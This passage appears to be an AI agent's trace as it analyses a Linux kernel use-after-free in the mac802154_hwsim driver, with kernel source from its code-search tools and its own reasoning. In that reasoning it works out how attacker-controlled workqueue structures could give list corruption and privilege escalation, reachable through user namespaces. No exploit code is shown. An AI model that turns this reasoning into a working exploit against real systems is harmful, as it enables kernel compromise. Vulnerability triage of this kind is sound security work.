2349: worker = find_worker_executing_work(last_pool, work);
2350:
2351: if (worker && worker->current_pwq->wq == wq) {
2352: pwq = worker->current_pwq;
2353: pool = pwq->pool;
2354: WARN_ON_ONCE(pool != last_pool);
2355: } else {
2356: /* meh... not running there, queue here */
2357: raw_spin_unlock(&last_pool->lock);
2358: raw_spin_lock(&pool->lock);
2359: }
2360: } else {
2361: raw_spin_lock(&pool->lock);
2362: }
2363:
2364: /*
2365: * pwq is determined and locked. For unbound pools, we could have raced
2366: * with pwq release and it could already be dead. If its refcnt is zero,
2367: * repeat pwq selection. Note that unbound pwqs never die without
2368: * another pwq replacing it in cpu_pwq or while work items are executing
2369: * on it, so the retrying is guaranteed to make forward-progress.
2370: */
2371: if (unlikely(!pwq->refcnt)) {
2372: if (wq->flags & WQ_UNBOUND) {
2373: raw_spin_unlock(&pool->lock);
2374: cpu_relax();
2375: goto retry;
2376: }
2377: /* oops */
2378: WARN_ONCE(true, "workqueue: per-cpu pwq for %s on cpu%d has 0 refcnt",
2379: wq->name, cpu);
2380: }
2381:
2382: /* pwq determined, queue */
2383: trace_workqueue_queue_work(req_cpu, pwq, work);
2384:
2385: if (WARN_ON(!list_empty(&work->entry)))
2386: goto out;
2387:
2388: pwq->nr_in_flight[pwq->work_color]++;
2389: work_flags = work_color_to_flags(pwq->work_color);
2390:
2391: /*
2392: * Limit the number of concurrently active work items to max_active.
2393: * @work must also queue behind existing inactive work items to maintain
2394: * ordering when max_active changes. See wq_adjust_max_active().
2395: */
2396: if (list_empty(&pwq->inactive_works) && pwq_tryinc_nr_active(pwq, false)) {
2397: if (list_empty(&pool->worklist))
2398: pool->last_progress_ts = jiffies;
2399:
2400: trace_workqueue_activate_work(work);
2401: insert_work(pwq, work, &pool->worklist, work_flags);
2402: kick_pool(pool);
2403: } else {
2404: work_flags |= WORK_STRUCT_INACTIVE;
2405: insert_work(pwq, work, &pwq->inactive_works, work_flags);
2406: }
2407:
2408: out:
2409: raw_spin_unlock(&pool->lock);
2410: rcu_read_unlock();
2411: }
SourceFile:kernel/workqueue.c]
|
| 52/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 40061
output: 56
thoughts: 372
Thoughts: **My Assessment of the Vulnerability**
Okay, so here's what I'm seeing: `__queue_work` is the key. The attacker, if they can control the `wq` (workqueue) structure, can manipulate its `flags` to bypass checks for destruction or draining, specifically by clearing the `__WQ_DESTROYING` and `__WQ_DRAINING` flags. That's the initial foothold.
Next, it grabs `wq->cpu_pwq`, which is a `void __percpu *`. This looks like a per-CPU workqueue pointer. The attacker, controlling this pointer, can redirect it to an area of memory they control. This is where things get interesting. Then it is dereferenced to get `pwq`.
The code then accesses `pwq->pool`, locks the `pool->lock`, and inserts the work into either `pool->worklist` or `pwq->inactive_works`. The critical part is `insert_work`. This function modifies the `list_head` of `work->entry`. Since `work` is *also* under the attacker's control (specifically, because it's inside a freed `ieee802154_local` structure), this means they're controlling the `list_head` being inserted into a list. That's a classic, dangerous primitive. This gives an attacker the ability to essentially "link" a controlled `list_head` into any list.
This is a powerful primitive! This allows for arbitrary memory writes through list corruption, allowing a complete system compromise by escalating privileges. Clearly, it's exploitable. Now, the next step is to examine the trigger.
|
| 53/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/ieee802154/mac802154_hwsim.c Name:hwsim_genl_family]
Results: map[SourceCode: 790: static struct genl_family hwsim_genl_family __ro_after_init = {
791: .name = "MAC802154_HWSIM",
792: .version = 1,
793: .maxattr = MAC802154_HWSIM_ATTR_MAX,
794: .policy = hwsim_genl_policy,
795: .module = THIS_MODULE,
796: .small_ops = hwsim_nl_ops,
797: .n_small_ops = ARRAY_SIZE(hwsim_nl_ops),
798: .resv_start_op = MAC802154_HWSIM_CMD_NEW_EDGE + 1,
799: .mcgrps = hwsim_mcgrps,
800: .n_mcgrps = ARRAY_SIZE(hwsim_mcgrps),
801: };
SourceFile:drivers/net/ieee802154/mac802154_hwsim.c]
|
| 54/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 41149
output: 55
thoughts: 12
Thoughts: Here's a summary of my thought process, as if I were the one thinking it:
**Checking `hwsim_nl_ops`**
Okay, time to dive in. My immediate thought is to take a look at `hwsim_nl_ops`. Given my expertise in this area, I'm already anticipating what kind of operations this likely encompasses – network link operations within the hardware simulation environment. I'll need to refresh my memory on the specific context, what this function is designed to handle, and what recent changes might have impacted its functionality. I'm going to quickly check for any potential integration issues or unexpected behavior within the broader simulation framework, given its criticality. I need to ensure it's functioning as expected and is properly interacting with the rest of the simulation's modules.
|
| 55/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/ieee802154/mac802154_hwsim.c Name:hwsim_nl_ops]
Results: map[SourceCode: 750: /* Generic Netlink operations array */
751: static const struct genl_small_ops hwsim_nl_ops[] = {
752: {
753: .cmd = MAC802154_HWSIM_CMD_NEW_RADIO,
754: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
755: .doit = hwsim_new_radio_nl,
756: .flags = GENL_UNS_ADMIN_PERM,
757: },
758: {
759: .cmd = MAC802154_HWSIM_CMD_DEL_RADIO,
760: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
761: .doit = hwsim_del_radio_nl,
762: .flags = GENL_UNS_ADMIN_PERM,
763: },
764: {
765: .cmd = MAC802154_HWSIM_CMD_GET_RADIO,
766: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
767: .doit = hwsim_get_radio_nl,
768: .dumpit = hwsim_dump_radio_nl,
769: },
770: {
771: .cmd = MAC802154_HWSIM_CMD_NEW_EDGE,
772: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
773: .doit = hwsim_new_edge_nl,
774: .flags = GENL_UNS_ADMIN_PERM,
775: },
776: {
777: .cmd = MAC802154_HWSIM_CMD_DEL_EDGE,
778: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
779: .doit = hwsim_del_edge_nl,
780: .flags = GENL_UNS_ADMIN_PERM,
781: },
782: {
783: .cmd = MAC802154_HWSIM_CMD_SET_EDGE,
784: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
785: .doit = hwsim_set_edge_lqi,
786: .flags = GENL_UNS_ADMIN_PERM,
787: },
788: };
SourceFile:drivers/net/ieee802154/mac802154_hwsim.c]
|
| 56/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 42179
output: 43
thoughts: 194
Thoughts: **Analyzing the Accessibility of a Netlink Interface**
Okay, so I'm looking at these flags, specifically `GENL_UNS_ADMIN_PERM`. Right away, that's telling me this thing needs `CAP_NET_ADMIN` within the user namespace. That's interesting, it means this interface is designed to be accessible from *within* a user namespace. So, it's not a root-only interface, which makes it more interesting for security analysis.
Now, the obvious question is: can an unprivileged process access this *without* creating a user namespace? No, the `GENL_UNS_ADMIN_PERM` check is looking for `CAP_NET_ADMIN` in *the namespace that owns the netlink socket*—which is the user namespace. An unprivileged process doesn't have `CAP_NET_ADMIN` in the initial, or root namespace. The only way is to create a user namespace to escalate its privileges so it gets this capability.
But wait a minute... I need to double-check this. Let's make absolutely sure that I am correct, because `GENL_UNS_ADMIN_PERM` really checks `ns_capable(net->user_ns, CAP_NET_ADMIN)`. I need to verify that I'm understanding what `GENL_UNS_ADMIN_PERM` actually *means* in this context. I'm going to pull up the source and make sure the logic is exactly what I expect.
|
| 57/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:include/net/genetlink.h Name:GENL_UNS_ADMIN_PERM]
Results: map[SourceCode: SourceFile:]
|
| 58/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 42756
output: 24
thoughts: 29
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Investigating a GENL_UNS_ADMIN_PERM Concern**
Alright, time to get to the bottom of this. I need to track down the source of `GENL_UNS_ADMIN_PERM`. Given its naming, my initial hunch is that it's related to some sort of administrative permission check, likely within the Generic Netlink (GENL) subsystem. Therefore, my first move is to dive straight into `include/net/genetlink.h`. That's the obvious place to find any constants or macros defined for that part of the networking stack. I'm expecting this header file to either define `GENL_UNS_ADMIN_PERM` directly, or to shed some light on where the permission is used, by way of a macro or enum that incorporates that particular symbol. From there, I can trace the usage and understand the implications it has on system behavior. Let's see what we find.
|
| 59/2 |
2026/08/14 11:18 |
tool |
grepper |
0m
Args: map[Expression:GENL_UNS_ADMIN_PERM]
Results: map[Output:
Full output is too long, showing 500 out of 829 lines.
Use more precise expression if possible.
drivers/net/ieee802154/mac802154_hwsim.c=751=static const struct genl_small_ops hwsim_nl_ops[] = {
--
drivers/net/ieee802154/mac802154_hwsim.c-755- .doit = hwsim_new_radio_nl,
drivers/net/ieee802154/mac802154_hwsim.c:756: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/ieee802154/mac802154_hwsim.c-757- },
--
drivers/net/ieee802154/mac802154_hwsim.c-761- .doit = hwsim_del_radio_nl,
drivers/net/ieee802154/mac802154_hwsim.c:762: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/ieee802154/mac802154_hwsim.c-763- },
--
drivers/net/ieee802154/mac802154_hwsim.c-773- .doit = hwsim_new_edge_nl,
drivers/net/ieee802154/mac802154_hwsim.c:774: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/ieee802154/mac802154_hwsim.c-775- },
--
drivers/net/ieee802154/mac802154_hwsim.c-779- .doit = hwsim_del_edge_nl,
drivers/net/ieee802154/mac802154_hwsim.c:780: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/ieee802154/mac802154_hwsim.c-781- },
--
drivers/net/ieee802154/mac802154_hwsim.c-785- .doit = hwsim_set_edge_lqi,
drivers/net/ieee802154/mac802154_hwsim.c:786: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/ieee802154/mac802154_hwsim.c-787- },
--
drivers/net/wireguard/generated/netlink.c=56=const struct genl_split_ops wireguard_nl_ops[2] = {
--
drivers/net/wireguard/generated/netlink.c-63- .maxattr = WGDEVICE_A_IFNAME,
drivers/net/wireguard/generated/netlink.c:64: .flags = GENL_UNS_ADMIN_PERM | GENL_CMD_CAP_DUMP,
drivers/net/wireguard/generated/netlink.c-65- },
--
drivers/net/wireguard/generated/netlink.c-70- .maxattr = WGDEVICE_A_PEERS,
drivers/net/wireguard/generated/netlink.c:71: .flags = GENL_UNS_ADMIN_PERM | GENL_CMD_CAP_DO,
drivers/net/wireguard/generated/netlink.c-72- },
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7052=static const struct genl_small_ops hwsim_ops[] = {
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7056- .doit = hwsim_register_received_nl,
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7057: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7058- },
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7072- .doit = hwsim_new_radio_nl,
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7073: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7074- },
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7078- .doit = hwsim_del_radio_nl,
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7079: .flags = GENL_UNS_ADMIN_PERM,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7080- },
--
include/net/genetlink.h=173=enum genl_validate_flags {
--
include/net/genetlink.h-182- * @internal_flags: flags used by the family
include/net/genetlink.h:183: * @flags: GENL_* flags (%GENL_ADMIN_PERM or %GENL_UNS_ADMIN_PERM)
include/net/genetlink.h-184- * @validate: validation flags from enum genl_validate_flags
--
include/net/genetlink.h=191=struct genl_small_ops {
--
include/net/genetlink.h-203- * @internal_flags: flags used by the family
include/net/genetlink.h:204: * @flags: GENL_* flags (%GENL_ADMIN_PERM or %GENL_UNS_ADMIN_PERM)
include/net/genetlink.h-205- * @maxattr: maximum number of attributes supported
--
include/net/genetlink.h=213=struct genl_ops {
--
include/net/genetlink.h-231- * @internal_flags: flags used by the family
include/net/genetlink.h:232: * @flags: GENL_* flags (%GENL_ADMIN_PERM or %GENL_UNS_ADMIN_PERM)
include/net/genetlink.h-233- * @validate: validation flags from enum genl_validate_flags
--
include/uapi/linux/genetlink.h=13=struct genlmsghdr {
--
include/uapi/linux/genetlink.h-24-#define GENL_CMD_CAP_HASPOL 0x08
include/uapi/linux/genetlink.h:25:#define GENL_UNS_ADMIN_PERM 0x10
include/uapi/linux/genetlink.h-26-
--
net/batman-adv/netlink.c=1408=static const struct genl_small_ops batadv_netlink_ops[] = {
--
net/batman-adv/netlink.c-1418- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1419: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1420- .doit = batadv_netlink_tp_meter_start,
--
net/batman-adv/netlink.c-1425- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1426: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1427- .doit = batadv_netlink_tp_meter_cancel,
--
net/batman-adv/netlink.c-1432- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1433: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1434- .dumpit = batadv_algo_dump,
--
net/batman-adv/netlink.c-1447- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1448: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1449- .dumpit = batadv_tt_local_dump,
--
net/batman-adv/netlink.c-1453- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1454: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1455- .dumpit = batadv_tt_global_dump,
--
net/batman-adv/netlink.c-1459- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1460: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1461- .dumpit = batadv_orig_dump,
--
net/batman-adv/netlink.c-1465- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1466: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1467- .dumpit = batadv_hardif_neigh_dump,
--
net/batman-adv/netlink.c-1471- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1472: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1473- .dumpit = batadv_gw_dump,
--
net/batman-adv/netlink.c-1477- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1478: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1479- .dumpit = batadv_bla_claim_dump,
--
net/batman-adv/netlink.c-1483- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1484: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1485- .dumpit = batadv_bla_backbone_dump,
--
net/batman-adv/netlink.c-1489- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1490: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1491- .dumpit = batadv_dat_cache_dump,
--
net/batman-adv/netlink.c-1495- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1496: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1497- .dumpit = batadv_mcast_flags_dump,
--
net/batman-adv/netlink.c-1501- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1502: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1503- .doit = batadv_netlink_set_mesh,
--
net/batman-adv/netlink.c-1508- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1509: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1510- .doit = batadv_netlink_set_hardif,
--
net/batman-adv/netlink.c-1524- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/batman-adv/netlink.c:1525: .flags = GENL_UNS_ADMIN_PERM,
net/batman-adv/netlink.c-1526- .doit = batadv_netlink_set_vlan,
--
net/core/netdev-genl-gen.c=138=static const struct genl_split_ops netdev_nl_ops[] = {
--
net/core/netdev-genl-gen.c-222- .maxattr = NETDEV_A_DMABUF_FD,
net/core/netdev-genl-gen.c:223: .flags = GENL_UNS_ADMIN_PERM | GENL_CMD_CAP_DO,
net/core/netdev-genl-gen.c-224- },
--
net/ethtool/netlink.c=1161=static const struct genl_ops ethtool_genl_ops[] = {
--
net/ethtool/netlink.c-1181- .cmd = ETHTOOL_MSG_LINKINFO_SET,
net/ethtool/netlink.c:1182: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1183- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1197- .cmd = ETHTOOL_MSG_LINKMODES_SET,
net/ethtool/netlink.c:1198: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1199- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1222- .cmd = ETHTOOL_MSG_DEBUG_SET,
net/ethtool/netlink.c:1223: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1224- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1229- .cmd = ETHTOOL_MSG_WOL_GET,
net/ethtool/netlink.c:1230: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1231- .doit = ethnl_default_doit,
--
net/ethtool/netlink.c-1239- .cmd = ETHTOOL_MSG_WOL_SET,
net/ethtool/netlink.c:1240: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1241- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1255- .cmd = ETHTOOL_MSG_FEATURES_SET,
net/ethtool/netlink.c:1256: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1257- .doit = ethnl_set_features,
--
net/ethtool/netlink.c-1271- .cmd = ETHTOOL_MSG_PRIVFLAGS_SET,
net/ethtool/netlink.c:1272: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1273- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1287- .cmd = ETHTOOL_MSG_RINGS_SET,
net/ethtool/netlink.c:1288: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1289- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1303- .cmd = ETHTOOL_MSG_CHANNELS_SET,
net/ethtool/netlink.c:1304: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1305- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1319- .cmd = ETHTOOL_MSG_COALESCE_SET,
net/ethtool/netlink.c:1320: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1321- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1335- .cmd = ETHTOOL_MSG_PAUSE_SET,
net/ethtool/netlink.c:1336: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1337- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1351- .cmd = ETHTOOL_MSG_EEE_SET,
net/ethtool/netlink.c:1352: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1353- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1367- .cmd = ETHTOOL_MSG_CABLE_TEST_ACT,
net/ethtool/netlink.c:1368: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1369- .doit = ethnl_act_cable_test,
--
net/ethtool/netlink.c-1374- .cmd = ETHTOOL_MSG_CABLE_TEST_TDR_ACT,
net/ethtool/netlink.c:1375: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1376- .doit = ethnl_act_cable_test_tdr,
--
net/ethtool/netlink.c-1398- .cmd = ETHTOOL_MSG_FEC_SET,
net/ethtool/netlink.c:1399: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1400- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1405- .cmd = ETHTOOL_MSG_MODULE_EEPROM_GET,
net/ethtool/netlink.c:1406: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1407- .doit = ethnl_default_doit,
--
net/ethtool/netlink.c-1442- .cmd = ETHTOOL_MSG_MODULE_SET,
net/ethtool/netlink.c:1443: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1444- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1458- .cmd = ETHTOOL_MSG_PSE_SET,
net/ethtool/netlink.c:1459: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1460- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1482- .cmd = ETHTOOL_MSG_PLCA_SET_CFG,
net/ethtool/netlink.c:1483: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1484- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1507- .cmd = ETHTOOL_MSG_MM_SET,
net/ethtool/netlink.c:1508: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1509- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1514- .cmd = ETHTOOL_MSG_MODULE_FW_FLASH_ACT,
net/ethtool/netlink.c:1515: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1516- .doit = ethnl_act_module_fw_flash,
--
net/ethtool/netlink.c-1539- .cmd = ETHTOOL_MSG_TSCONFIG_SET,
net/ethtool/netlink.c:1540: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1541- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1546- .cmd = ETHTOOL_MSG_RSS_SET,
net/ethtool/netlink.c:1547: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1548- .doit = ethnl_default_set_doit,
--
net/ethtool/netlink.c-1553- .cmd = ETHTOOL_MSG_RSS_CREATE_ACT,
net/ethtool/netlink.c:1554: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1555- .doit = ethnl_rss_create_doit,
--
net/ethtool/netlink.c-1560- .cmd = ETHTOOL_MSG_RSS_DELETE_ACT,
net/ethtool/netlink.c:1561: .flags = GENL_UNS_ADMIN_PERM,
net/ethtool/netlink.c-1562- .doit = ethnl_rss_delete_doit,
--
net/l2tp/l2tp_netlink.c=935=static const struct genl_small_ops l2tp_nl_ops[] = {
--
net/l2tp/l2tp_netlink.c-945- .doit = l2tp_nl_cmd_tunnel_create,
net/l2tp/l2tp_netlink.c:946: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-947- },
--
net/l2tp/l2tp_netlink.c-951- .doit = l2tp_nl_cmd_tunnel_delete,
net/l2tp/l2tp_netlink.c:952: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-953- },
--
net/l2tp/l2tp_netlink.c-957- .doit = l2tp_nl_cmd_tunnel_modify,
net/l2tp/l2tp_netlink.c:958: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-959- },
--
net/l2tp/l2tp_netlink.c-964- .dumpit = l2tp_nl_cmd_tunnel_dump,
net/l2tp/l2tp_netlink.c:965: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-966- },
--
net/l2tp/l2tp_netlink.c-970- .doit = l2tp_nl_cmd_session_create,
net/l2tp/l2tp_netlink.c:971: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-972- },
--
net/l2tp/l2tp_netlink.c-976- .doit = l2tp_nl_cmd_session_delete,
net/l2tp/l2tp_netlink.c:977: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-978- },
--
net/l2tp/l2tp_netlink.c-982- .doit = l2tp_nl_cmd_session_modify,
net/l2tp/l2tp_netlink.c:983: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-984- },
--
net/l2tp/l2tp_netlink.c-989- .dumpit = l2tp_nl_cmd_session_dump,
net/l2tp/l2tp_netlink.c:990: .flags = GENL_UNS_ADMIN_PERM,
net/l2tp/l2tp_netlink.c-991- },
--
net/mptcp/mptcp_pm_gen.c=92=const struct genl_ops mptcp_pm_nl_ops[11] = {
--
net/mptcp/mptcp_pm_gen.c-98- .maxattr = MPTCP_PM_ENDPOINT_ADDR,
net/mptcp/mptcp_pm_gen.c:99: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-100- },
--
net/mptcp/mptcp_pm_gen.c-106- .maxattr = MPTCP_PM_ENDPOINT_ADDR,
net/mptcp/mptcp_pm_gen.c:107: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-108- },
--
net/mptcp/mptcp_pm_gen.c-122- .maxattr = MPTCP_PM_ENDPOINT_ADDR,
net/mptcp/mptcp_pm_gen.c:123: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-124- },
--
net/mptcp/mptcp_pm_gen.c-130- .maxattr = MPTCP_PM_ATTR_SUBFLOWS,
net/mptcp/mptcp_pm_gen.c:131: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-132- },
--
net/mptcp/mptcp_pm_gen.c-145- .maxattr = MPTCP_PM_ATTR_ADDR_REMOTE,
net/mptcp/mptcp_pm_gen.c:146: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-147- },
--
net/mptcp/mptcp_pm_gen.c-153- .maxattr = MPTCP_PM_ATTR_TOKEN,
net/mptcp/mptcp_pm_gen.c:154: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-155- },
--
net/mptcp/mptcp_pm_gen.c-161- .maxattr = MPTCP_PM_ATTR_LOC_ID,
net/mptcp/mptcp_pm_gen.c:162: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-163- },
--
net/mptcp/mptcp_pm_gen.c-169- .maxattr = MPTCP_PM_ATTR_ADDR_REMOTE,
net/mptcp/mptcp_pm_gen.c:170: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-171- },
--
net/mptcp/mptcp_pm_gen.c-177- .maxattr = MPTCP_PM_ATTR_ADDR_REMOTE,
net/mptcp/mptcp_pm_gen.c:178: .flags = GENL_UNS_ADMIN_PERM,
net/mptcp/mptcp_pm_gen.c-179- },
--
net/netlink/genetlink.c=1155=static int genl_family_rcv_msg(const struct genl_family *family,
--
net/netlink/genetlink.c-1185-
net/netlink/genetlink.c:1186: if ((op.flags & GENL_UNS_ADMIN_PERM) &&
net/netlink/genetlink.c-1187- !netlink_ns_capable(skb, net->user_ns, CAP_NET_ADMIN))
--
net/openvswitch/conntrack.c=1957=static const struct genl_small_ops ct_limit_genl_ops[] = {
--
net/openvswitch/conntrack.c-1959- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/conntrack.c:1960: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN
net/openvswitch/conntrack.c-1961- * privilege.
--
net/openvswitch/conntrack.c-1966- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/conntrack.c:1967: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN
net/openvswitch/conntrack.c-1968- * privilege.
--
net/openvswitch/datapath.c=733=static const struct genl_small_ops dp_packet_genl_ops[] = {
--
net/openvswitch/datapath.c-735- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:736: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-737- .doit = ovs_packet_cmd_execute
--
net/openvswitch/datapath.c=1566=static const struct genl_small_ops dp_flow_genl_ops[] = {
--
net/openvswitch/datapath.c-1568- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:1569: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-1570- .doit = ovs_flow_cmd_new
--
net/openvswitch/datapath.c-1573- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:1574: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-1575- .doit = ovs_flow_cmd_del
--
